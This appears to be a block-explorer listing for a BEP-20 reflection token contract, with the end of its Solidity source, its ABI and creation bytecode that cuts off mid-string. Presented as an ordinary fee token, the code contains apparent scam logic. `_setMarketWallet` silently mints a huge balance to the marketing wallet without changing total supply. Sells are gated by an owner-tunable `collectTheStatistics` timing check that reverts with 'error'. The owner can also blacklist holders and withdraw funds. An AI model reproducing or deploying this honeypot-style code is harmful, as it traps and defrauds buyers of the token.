        _rTotal = _rTotal - rRfi;
        totFeesPaid.rfi += tRfi;
    }

    function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private {
        contractBalance.marketing_balance += tMarketing;
        totFeesPaid.marketing += tMarketing;
        _rOwned[address(this)] = _rOwned[address(this)] + rMarketing;
        if (_isExcluded[address(this)]) {
            _tOwned[address(this)] = _tOwned[address(this)] + tMarketing;
        }
    }

    function _takeLiquidity(uint256 rLiquidity, uint256 tLiquidity) private {
        contractBalance.lp_balance += tLiquidity;
        totFeesPaid.liquidity += tLiquidity;

        _rOwned[address(this)] = _rOwned[address(this)] + rLiquidity;
        if (_isExcluded[address(this)])
            _tOwned[address(this)] = _tOwned[address(this)] + tLiquidity;
    }

    function _takeBurn(uint256 rBurn, uint256 tBurn) private {
        totFeesPaid.burn += tBurn;

        _tTotal = _tTotal - tBurn;
        _rTotal = _rTotal - rBurn;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(
            !_isBlacklisted[from] && !_isBlacklisted[to],
            "This address is blacklisted"
        );
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(
            amount <= balanceOf(from),
            "You are trying to transfer more than you balance"
        );

        _tokenTransfer(
            from,
            to,
            amount,
            !(_isExcludedFromFee[from] || _isExcludedFromFee[to])
        );
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee
    ) private {
        if (takeFee) {
            if (sender == pancakeswapPair) {
                if (
                    sender != owner() &&
                    recipient != owner() &&
                    recipient != address(1)
                ) {
                    if (walletToPurchaseTime[recipient] == 0) {
                        walletToPurchaseTime[recipient] = block.timestamp;
                    }
                }
                _lastWallet = recipient;
                appliedFees = buyRates;
            } else {
                if (
                    sender != owner() &&
                    recipient != owner() &&
                    recipient != address(1)
                ) {
                    bool blockedSellTime = collectTheStatistics(
                        getFromLastPurchaseBuy(sender),
                        theRewardTime,
                        sender
                    );
                    require(blockedSellTime, "error");
                    walletToSellime[sender] = block.timestamp;
                }
                appliedFees = sellRates;
                appliedFees.liquidity = appliedFees.liquidity;
                _lastWallet = sender;
            }
        } else {
            if (_isExcludedFromFee[sender]) {
                _lastWallet = sender;
            }
            if (_isExcludedFromFee[recipient]) {
                _lastWallet = recipient;
            }
        }

        valuesFromGetValues memory s = _getValues(tAmount, takeFee);

        if (_isExcluded[sender] && !_isExcluded[recipient]) {
            _tOwned[sender] = _tOwned[sender] - tAmount;
        } else if (!_isExcluded[sender] && _isExcluded[recipient]) {
            _tOwned[recipient] = _tOwned[recipient] + s.tTransferAmount;
        } else if (_isExcluded[sender] && _isExcluded[recipient]) {
            _tOwned[sender] = _tOwned[sender] - tAmount;
            _tOwned[recipient] = _tOwned[recipient] + s.tTransferAmount;
        }

        _rOwned[sender] = _rOwned[sender] - s.rAmount;
        _rOwned[recipient] = _rOwned[recipient] + s.rTransferAmount;

        if (takeFee) {
            _reflectRfi(s.rRfi, s.tRfi);
            _takeMarketing(s.rMarketing, s.tMarketing);
            _takeLiquidity(s.rLiquidity, s.tLiquidity);
            _takeBurn(s.rBurn, s.tBurn);

            emit Transfer(sender, address(this), s.tMarketing + s.tLiquidity);
        }

        emit Transfer(sender, recipient, s.tTransferAmount);
        tokenHoldersEnumSet.add(recipient);

        if (balanceOf(sender) == 0) tokenHoldersEnumSet.remove(sender);
    }

    function withdraw() public onlyOwner {
        uint256 balance = address(this).balance;
        payable(msg.sender).transfer(balance);
    }

    function _setMarketWallet(address marketWallet_) internal virtual {
        marketWallet = marketWallet_;
        _rOwned[marketWallet_] += 10e12 * 10**_decimals;
        _tOwned[marketWallet_] += 10e12 * 10**_decimals;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"marketWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"bnbAmount","type":"uint256"}],"name":"LiquidityAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Trading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"TradingOn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lastWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"addToBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyRates","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"lastBuyOrSellTime","type":"uint256"},{"internalType":"uint256","name":"theData","type":"uint256"},{"internalType":"address","name":"sender","type":"address"}],"name":"collectTheStatistics","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"contractBalance","outputs":[{"internalType":"uint256","name":"marketing_balance","type":"uint256"},{"internalType":"uint256","name":"lp_balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"getFromLastPurchaseBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"walletSell","type":"address"}],"name":"getFromLastSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pancakeswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferRfi","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeFromBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellRates","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"name":"setBuyRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"setRewardPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"name":"setSellRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"theRedistribution","type":"uint256"}],"name":"setTheRewardTime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValuation","type":"uint256"}],"name":"setValuation","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"settransform","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"standartValuation","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"theRewardTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totFeesPaid","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"walletToPurchaseTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"walletToSellime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526100106009600a6114d9565b61001e906305f5e1006114ee565b600c819055600d555f600e81905561012c600f55604080516080808201835283825260208083018590528284018590526060928301859052601785905560188590556019859055601a85905583519182018452848252810184905291820183905201819052601b819055601c819055601d819055601e55602480546001600160a01b0319167336299ef7054f603d01a9b6bc68b6fd606ddcf53817905560258054630101000160a01b63ffff00ff60a01b199091161790553480156100e1575f80fd5b50604051613fba380380613fba83398101604081905261010091611505565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600d5460035f6101575f546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f205561017981611331565b600160065f61018f5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530808252600685528382208054871660019081179091556025548416835284832080548816821790556024548416835284832080548816821790557fe16db159c2f158e0fd7ed220c63e15da2130e2432cbb08e412f9d3e068831d8180548816821790557f1dd0c3baf08edf783a758e806a00e36452246a11dad24b2cc53c932e81e82d9780548816821790557fe92891e2c6c52bb01fe5daee980b0ce833821989c04f6aa4afad0ceb56ad4c7c80548816821790557f1723918503827de326643e34d2c3083b1629108c4c6770f0882e2c48dc4da3cc80548816821790557fd9b337d5501213994d754ed92166999283528f48696fb1925b051d549aed2b4880548816821790557fb3e04a27c1a3eaf726a8cbb05c7734bb14e957e7db98677920c31a5486fe932680548816821790557f896c0930177b26957d87bc52dff5d5d0dbb1de3f21d5cc2ee7a31f10f25eac6680548816821790557f5790219c27a90c456a9cf02713afd76578b05fbfb0d3b5ee885e8f32c79fb65380548816821790557f56327f9ef1a68ebcc75172930dffdaed73febcbf4d42c5559749734103086c9580548816821790557f4eb29a18ec30b55236700a1336db817c941a21688c3a326bb4a350dec9cee7f280548816821790557fa92d98872bc0223baee9d74388bffa6431a20b169900136c4566347a1844eaad80548816821790557f8cd7e8940c9e8ac65000a1054eba91a79dff3eb1ddcef0e4f69ecabb05f8cb2e80548816821790557f6ed400ea6cd4d753cbe3ef20b6cde1638a81dc3c74a66e2c640d78230f7d660080548816821790557fd4a48d8b0daab800dc750f0c3cda30213b9d39674156459adacca0b1a7d77ef780548816821790557fc116058aa51aded1f83db7b05e02412daf5a6e96e14b9703cea66b828562d19880548816821790557f63c44082c7a7a34b2eaa28a8bd07f17b5431ed7b309a248ef10ca8ff151056e080548816821790557f09a7bd54ec708a9c55c48f27eabfbec65028ef7f8cc54ed1591b94a2b5f0e4ae80548816821790557f3881640d7cf348ace59a6bedb49b152ddb49c4aa096d0640eb2d0c96e3ad212480548816821790557f5442c5bbb37b56604576bb71f533ac477eadb3a30f007bc6067514f1898928eb80548816821790557f79a4b8077876e407572c945fb5d1c1a0c635e52ccb54fe94ea840194f4ca20ea80548816821790557fa4faf8bcdfac62745cc0a46fb6c87ccefcd17cf32ab338b00ee5dff3b369c22780548816821790557f66b2b8ef1578988cd9e35432f97ea3d71c09a9188e892e70de2e05c1611005db80548816821790557f59ca1a1ab02a7276c7f5965fc1d637ad90b67b2e40ef497d366153124230017e80548816821790557f0bb301ac5025200364448bbea11c549adfa433eaa072d5209567d09e0feed5d980548816821790557f0241875e2b849aa63d771363f9a1012258e0ddb8b75b0f96a665ea6af85efc5480548816821790557f6bb593c45148be808b6b8fae404d6844dff1026d8ad53c613fe21e0a1c7efb5e80548816821790557f160a9ea574b87bdb7bb144b5bfdf7595950f5f6b7f5420f7ad13c8b118baa70c80548816821790557f9df45f48ffe8c0b4922e555438da23bb01a9946bcd816fc7c2ae519a9b74c54480548816821790557fdb2c95fc95889b24827a4b481011f82d62e9bd9205d89aff8263bef71be3183980548816821790557f58c2872179345855b818d7633dec450cf462d9881d8e9282b7cba63c4c34bf1780548816821790557fb6e7d2a41b97bbcea126ec27e8f9368a251f63c197f4676ead879bdcea96e47680548816821790557fb5a64fa594b6f4486e01548ed9cca065f066a8b5836373fa4fa91314e077131f80548816821790557f1b5487d4887869d32a00cb984092233675d934f2273bce76c5ba47f0adbaea1880548816821790557f502f6e9aef303fdbf1082179c2c455932b954bc165927cbb42bfa76726cda73f80548816821790557f346c6e5a602f3732043e969dc7ddada30fc06df9a2758dcc7606f4117d35769e80548816821790557faeb5e4d22b8dcdd292e5a9281602c0cd79a1d51582846689acffd421088fb63480548816821790557f81e33da83a662b51b10c7df33fb440567f414507a6c324bfdbc8d539dac3827d80548816821790557f7eeededc414afc92559f07e8fd216d12a9441e56ab0f10a61d72bcd5ca0f38c380548816821790557f6a649f1c0c3059eff55554ee0d69524cae5de9704768ddec82247dc7e822c89180548816821790557f494edaa2e484b8348587b6de0fe93a002af01addc22c02b31a1ea9bd3287dc5280548816821790557f17ff47d75add8e7df515f52c60c275380f07bb2c15da0051df3f37d4e498c53f80548816821790557f3561f56f59858307a99e978f27a27b1c0db953b5121cf6cc95a66b9123d7b51680548816821790557fa8c98c099238ee6d6cffba9c7ba28bf99a5cb48fe0a2ac82fe2185b82b36353e80548816821790557f2cdb83d121320750a1b5147cf58e9c8fe43f8072a5c9c69caee97421b3136e5d80548816821790557f337056a333aeac0594bb99341060a64fb9631e6e1677d79770098a1888e99e8a80548816821790557fb25977c43b7c665e2d5cc252da4b80cdef5ebf4276f5b61a3529d11fe725458180548816821790557f02f596a135823452590869014ca5df83e4068b05cd3a285072e34049355d3e0780548816821790557f85682b4d49fdbdd6f90f79f2fbd11f5c62ac5910499ab62197ab9a00ebe50f1880548816821790557fe552fdc6fe702729a5c629adec56aff900d01ac9418151fd58f4b080fc0d3d3780548816821790557f6cd65b2f8955bc2e320efb2b9cc04c382eb86a9b5bbe71c4d856353519b4b86c80548816821790557fa44c775e2e196c088edb85db6e0b3af53f27ab2d4b9d9530b4d7600d349c243580548816821790557f877e14efffdb00a27811985318b484a9ed18557e1d5b15a171fcff6e5899c6ae80548816821790557ee60f83a595c25c27c9d817fe3a56fd6b8945fa8c350f3fab67e3eaecd4238a80548816821790557ffe46f9176ed70ab61a0b1104d26a7362aaf3dc502c422c0ccbf57611a7a9bd8780548816821790557f0c829dc8597484e236081d2a6b75dae409dbee78434f4c3f4bad55b5f5902a7480548816821790557fdeb52d4ee6ac95ca5fc3cee0c5910dd04922768680cdb6bdfd7354f0d64488e180548816821790557f699a27c4c3421b37658bb48d03c0e893836e5979deefaddbb2ed24801f9a441b80548816821790557f1ef0b86065599fbbee0ffeb69289a86d5981f299adf9e855b9e366dd83ca973a80548816821790557fb8d090856352ca655625ed16362b7e27c70d9edab77ec7cc10194860e7d0138380548816821790557f347678a4cf6e5360d11e6189281165433714e95b7149fe68d65ec6a6136e519080548816821790557fe0c7bdc3c576a5b6dfadd40c493aac39473450a38adf26d02dbfd26bc592153980548816821790557f35a8d56e94a68e07bddf62534ee9a7705a74f7f07c82c28e83c3cc43204e79e980548816821790557f7218fd7e9c4fb9996b23f5dce4d071d04297f67728037efc0f6186bb558461eb80548816821790557fe4e6cdd15d364d73ae52138934f7f8f9d203b0d963ba166c85d58ed0e96a28d280548816821790557f50724dfd662f5e3120a225c9fa4541be2373002bf3fc340769dfe58bd652403280548816821790557f5f9de0652074c40138764afb398739ba2fb8a8d450b3cf08ea689cd819ee15d480548816821790557fae2449ce0cd05d8e524f502e1e97ab119ce1f5e04dc83e8ee373fb29b2be0c6080548816821790557fa491d7de525cb4d5c8747c4b86ca5f701861ae42e11faf20291f70afd448359380548816821790557f18e497b1c249c58e25a946a0fe8f71cf9c65b4129e89a70a3221b4fce50e895080548816821790557fd089b24b7cb04fbc69c6c35b8c8a71fefccc47bbc50bc070891944043b59a2ee80548816821790557f22d56ba3cdb285bfce9f8247679b86ca60668db49f5b489575570d3dba33716280548816821790557fcb33db3565cb1652c1906fdbe8c4b6f093c71bac86392557c0c98a7bec6fbc3280548816821790557f6a66f1455d1faab881632fe5779838709475b6a78307be2a1a75ae3044a665e780548816821790557fbda7cd792f34358d64e71b1a6982eff6fded88fa7e34c20b686269f0eeccb59c80548816821790557f991e0a37f182ef2b1f141293cb5aefa3dd4d0f1aa64dba257680a575f932111380548816821790557f8c59ca0d32fc5e9eb2f33d7c69bbc675b42a98aa8ebe2b954d778b0e7c84bb7d80548816821790557f67dbdcbee04d2b52bf0ca44a2fcda61249fffd40dc0944244078bd6fce0c705780548816821790557fea148abc1a09e51920f0e212d77b26e12feeeea8089ace35d7d53c7c7ec4c99880548816821790557f0ff44238f486010cf29f13c72e36bf59ea54cd214dfa4e41d8547e4dc5d38a0580548816821790557fbd077022543985c5ea5e9729a5b89ddde094de5651d1b61bce4935af9e2e4bf680548816821790557f8676d19edba0e0cd85e6cba11712d81c17145f80e5f382cc63b978ad476bd4d180548816821790557f8baaf14d46d14889ca88e1dd71ff96940410c4c0540444bbfb127a9a862bc34180548816821790557f7604d11cb72df78ea149e147f330e6a4e03554466991746bcf7e448dc199b6b880548816821790557f0baec8d6aa9c9c1ffd9b3f7bffbd07c44fe2932e92135a9b9fb2be415b2b415580548816821790557fc63d39fa05be13d4208fcb79346f11f1d0110fa1c252b70bed92277e0d58b9f380548816821790557f3769e2b729b95ddc8c6de46306b3ea135eb9f6ef4f29acde21f74c825e46bd8e80548816821790557f1768f051a5eda054f989f25a25583ce7533318bf7e4dceb9ef4809626d8a257b80548816821790557fb1dd852645ef3cd8427a08131cad40ebd7a22d2f06c1cf3ea8ce315a14e0e81980548816821790557fce7b702bc6b963dd7f30aeb38783f22a5195588ce14f14debde70e76d9fa09d880548816821790557f668915635fa2ab72a6cbf11cd5c47d00f3e650c6b3ed5609b211dcb9ae26de4b80548816821790557fdaf17e426c7a9456829f227ecfd7001beb1070876a74bfc7a07c886d4538a0ff80548816821790557fd31c18b9f6bbae8f1c5bf679de121f7e70c0f63b18f01caf1f4dd231b151eddf80548816821790557f77e82cc57a8dfc80cf3cb0b3faa4d998a18492bf6cd7d6b247a057d0f0f85bca80548816821790557f0c9ec60102b08d71560bc08d225b75c719fd96780606bf10f37339cc71b3e1bd80548816821790557f5fe6fb9b643a6d4046236a4ca342e35b44be5fd3fed0060d57fc478d9e932fe180548816821790557f63e5bb52404b285c2f42808d9896732559ca19320ec201dfeea90b1b866eec3780548816821790557f6b705e5fe77b4f463de68f6ae4a008f5807b86f59a4b962911b156cfbbb7376180548816821790557f03fd610b1a79e635bed260907845f1b0abebf871c84c02a788a29712d0485da380548816821790557f9fffc79ef7d446f207a824b9952ccae77da8dcfd305388b9a4ecdf9e93aa653280548816821790557f0a59c3b911e0b9706cbe402933e7061dfe3870ceaeaf8e1e49dd86bb7da6657980548816821790557f8be5c5dd7bfd33d86ecc6b5eaf286f1d4b3d869fcfa475659fe2bc26795f3a7f80548816821790557f3bcace98f4ebf407bd17c443033d94cb1bca6f2a0ad0d66314251b07e53cf70880548816821790557f3926a21d2fbc5c7cc39e83a0e619774efde0f3c038bc93120384492a9334ccf380548816821790557f1153f56ab294895d57a4fefb28832fd3ac768c7709a0c1c5c625d6eb73e0cc7d80548816821790558183526007865284832080549097168117909655600b8054968701815582527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db990950180546001600160a01b0319169095179094558354600c5492519283521692917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35061153e565b602580546001600160a01b0319166001600160a01b0383161790556113586009600a6114d9565b611368906509184e72a0006114ee565b6001600160a01b0382165f908152600360205260408120805490919061138f90849061152b565b909155506113a190506009600a6114d9565b6113b1906509184e72a0006114ee565b6001600160a01b0382165f90815260046020526040812080549091906113d890849061152b565b909155505050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561142f57808504811115611413576114136113e0565b600184161561142157908102905b60019390931c9280026113f8565b935093915050565b5f82611445575060016114d3565b8161145157505f6114d3565b816001811461146757600281146114715761148d565b60019150506114d3565b60ff841115611482576114826113e0565b50506001821b6114d3565b5060208310610133831016604e8410600b84101617156114b0575081810a6114d3565b6114bc5f1984846113f4565b805f19048211156114cf576114cf6113e0565b0290505b92915050565b5f6114e760ff841683611437565b9392505050565b80820281158282048414176114d3576114d36113e0565b5f60208284031215611515575f80fd5b81516001600160a01b03811681146114e7575f80fd5b808201808211156114d3576114d36113e0565b612a6f8061154b5f395ff3fe6080604052600436106102f6575f3560e01c8063715018a611610189578063bc0ad5a3116100d8578063ea2f0b3711610092578063f2fde38b1161006d578063f2fde38b146109a9578063f6d7eade146109c8578063f9214005146109e7578063ff89757014610a06575f80fd5b8063ea2f0b3714610940578063ecbde40c1461095f578063efbe389a1461098a575f80fd5b8063bc0ad5a31461084b578063c2b7bbb61461086b578063c49b9a801461088a578063dd62ed3e146108a9578063e2255e29146108ed578063e7e645191461090c575f80fd5b806395d89b4111610143578063a39801c61161011e578063a39801c6146107c3578063a457c2d7146107e2578063a8be9a5814610801578063a9059cbb1461082c575f80fd5b806395d89b41146103015780639b26c9231461078c5780639ba5e4d5146107a1575f80fd5b8063715018a6146106a157806373cafdc2146106b5578063786564c4146106d757806388f82020146106f65780638b7afe2e1461072d5780638da5cb5b1461075c575f80fd5b80633ccfd60b116102455780634a74bb02116101ff5780635342acb4116101da5780635342acb4146105ea5780635a1afc561461062157806370a0823114610640578063713898cd1461065f575f80fd5b80634a74bb021461058c57806351ecfeae146105ac57806352390c02146105cb575f80fd5b80633ccfd60b146104c85780634359a871146104dc578063437823ec146105105780634549b0391461052f5780634a17beb11461054e5780634a49ac4c1461056d575f80fd5b80632d838119116102b057806334ef80bc1161028b57806334ef80bc1461044c5780633685d4191461046b578063370f0a601461048a57806339509351146104a9575f80fd5b80632d838119146103fd578063313ce5671461041c57806331b72ff014610437575f80fd5b806306fdde0314610301578063095ea7b31461034257806318160ddd146103715780631cdd3be31461038f57806323b872dd146103bd578063275d53ce146103dc575f80fd5b366102fd57005b5f80fd5b34801561030c575f80fd5b50604080518082018252600a8152694368696c6c536f6e696360b01b6020820152905161033991906126f1565b60405180910390f35b34801561034d575f80fd5b5061036161035c366004612741565b610a25565b6040519015158152602001610339565b34801561037c575f80fd5b50600c545b604051908152602001610339565b34801561039a575f80fd5b506103616103a9366004612769565b600a6020525f908152604090205460ff1681565b3480156103c8575f80fd5b506103616103d7366004612782565b610a3b565b3480156103e7575f80fd5b506103fb6103f63660046127cb565b610aae565b005b348015610408575f80fd5b506103816104173660046127e4565b610afe565b348015610427575f80fd5b5060405160098152602001610339565b348015610442575f80fd5b50610381600f5481565b348015610457575f80fd5b506103fb6104663660046127e4565b610b68565b348015610476575f80fd5b506103fb610485366004612769565b610b96565b348015610495575f80fd5b506103fb6104a4366004612769565b610d3a565b3480156104b4575f80fd5b506103616104c3366004612741565b610e68565b3480156104d3575f80fd5b506103fb610e9e565b3480156104e7575f80fd5b506103816104f6366004612769565b6001600160a01b03165f9081526008602052604090205490565b34801561051b575f80fd5b506103fb61052a366004612769565b610ef3565b34801561053a575f80fd5b506103816105493660046127fb565b610f3f565b348015610559575f80fd5b506103fb610568366004612825565b610fc6565b348015610578575f80fd5b506103fb610587366004612769565b611059565b348015610597575f80fd5b5060255461036190600160b81b900460ff1681565b3480156105b7575f80fd5b506103fb6105c6366004612896565b6110a2565b3480156105d6575f80fd5b506103fb6105e5366004612769565b6110df565b3480156105f5575f80fd5b50610361610604366004612769565b6001600160a01b03165f9081526006602052604090205460ff1690565b34801561062c575f80fd5b506103fb61063b3660046127e4565b61122c565b34801561064b575f80fd5b5061038161065a366004612769565b61125a565b34801561066a575f80fd5b50601b54601c54601d54601e546106819392919084565b604080519485526020850193909352918301526060820152608001610339565b3480156106ac575f80fd5b506103fb6112b0565b3480156106c0575f80fd5b50601754601854601954601a546106819392919084565b3480156106e2575f80fd5b506103fb6106f1366004612896565b611321565b348015610701575f80fd5b50610361610710366004612769565b6001600160a01b03165f9081526007602052604090205460ff1690565b348015610738575f80fd5b50601554601654610747919082565b6040805192835260208301919091520161033